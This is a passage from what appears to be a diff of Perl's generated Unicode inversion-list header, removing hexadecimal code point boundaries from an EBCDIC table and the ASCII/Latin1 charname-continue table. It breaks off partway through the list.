0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for ASCII/Latin1 */ - 1399, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x21, - 0x28, - 0x2A, - 0x2D, - 0x2E, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 